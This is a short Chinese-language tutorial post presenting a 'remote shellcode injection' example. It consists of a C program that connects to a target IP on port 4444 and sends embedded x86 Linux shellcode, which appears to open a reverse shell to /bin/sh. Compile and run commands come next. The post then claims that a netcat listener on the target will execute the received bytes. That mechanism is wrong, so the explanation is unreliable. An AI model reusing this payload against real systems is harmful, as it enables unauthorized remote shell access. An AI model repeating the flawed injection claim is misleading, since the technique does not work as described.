远程注入shellcode例子
对于安全性研究人员和黑客来说,远程注入Shellcode是一项非常重要的技术。远程注入Shellcode是指通过网络连接将Shellcode注入到目标系统的内存中,然后运行该Shellcode以达到攻击目的。以下是一个远程注入Shellcode的例子:
- 创建一个C程序,用于连接到目标系统并注入Shellcode:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
#define PORT 4444
void error(char *msg) {
perror(msg);
exit(1);
}
int main(int argc, char *argv[]) {
int sockfd, n;
struct sockaddr_in serv_addr;
char buffer[256];
char *shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x31\xdb\xb3\x02\x68\x7f\x01\x01\x01\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc0\x31\xdb\xb0\x3f\x89\xd3\xcd\x80\x31\xc0\x31\xdb\xb0\x3f\xb1\x01\xcd\x80\x31\xc0\x31\xdb\xb0\x3f\xb1\x02\xcd\x80\x31\xc0\x31\xdb\xb0\x0b\x53\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80";
if (argc < 2) {
fprintf(stderr, "usage: %s <target_ip>\n", argv[0]);
exit(1);
}
// 创建socket
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0)
error("ERROR opening socket");
// 设置目标地址
bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = inet_addr(argv[1]);
serv_addr.sin_port = htons(PORT);
// 连接到目标系统
if (connect(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0)
error("ERROR connecting");
// 发送Shellcode
n = write(sockfd, shellcode, strlen(shellcode));
if (n < 0)
error("ERROR writing to socket");
// 关闭socket
close(sockfd);
return 0;
}
- 编译并运行该程序,指定目标系统的IP地址:
gcc -o inject inject.c
./inject 192.168.1.100
- 在目标系统上运行一个监听器,以便接收Shellcode并执行:
nc -lvp 4444
- 一旦Shellcode被注入到目标系统的内存中,它将立即被执行,从而使攻击者可以在目标系统上执行任意操作。
原文地址: https://www.cveoy.top/t/topic/b7Xb 著作权归作者所有。请勿转载和采集!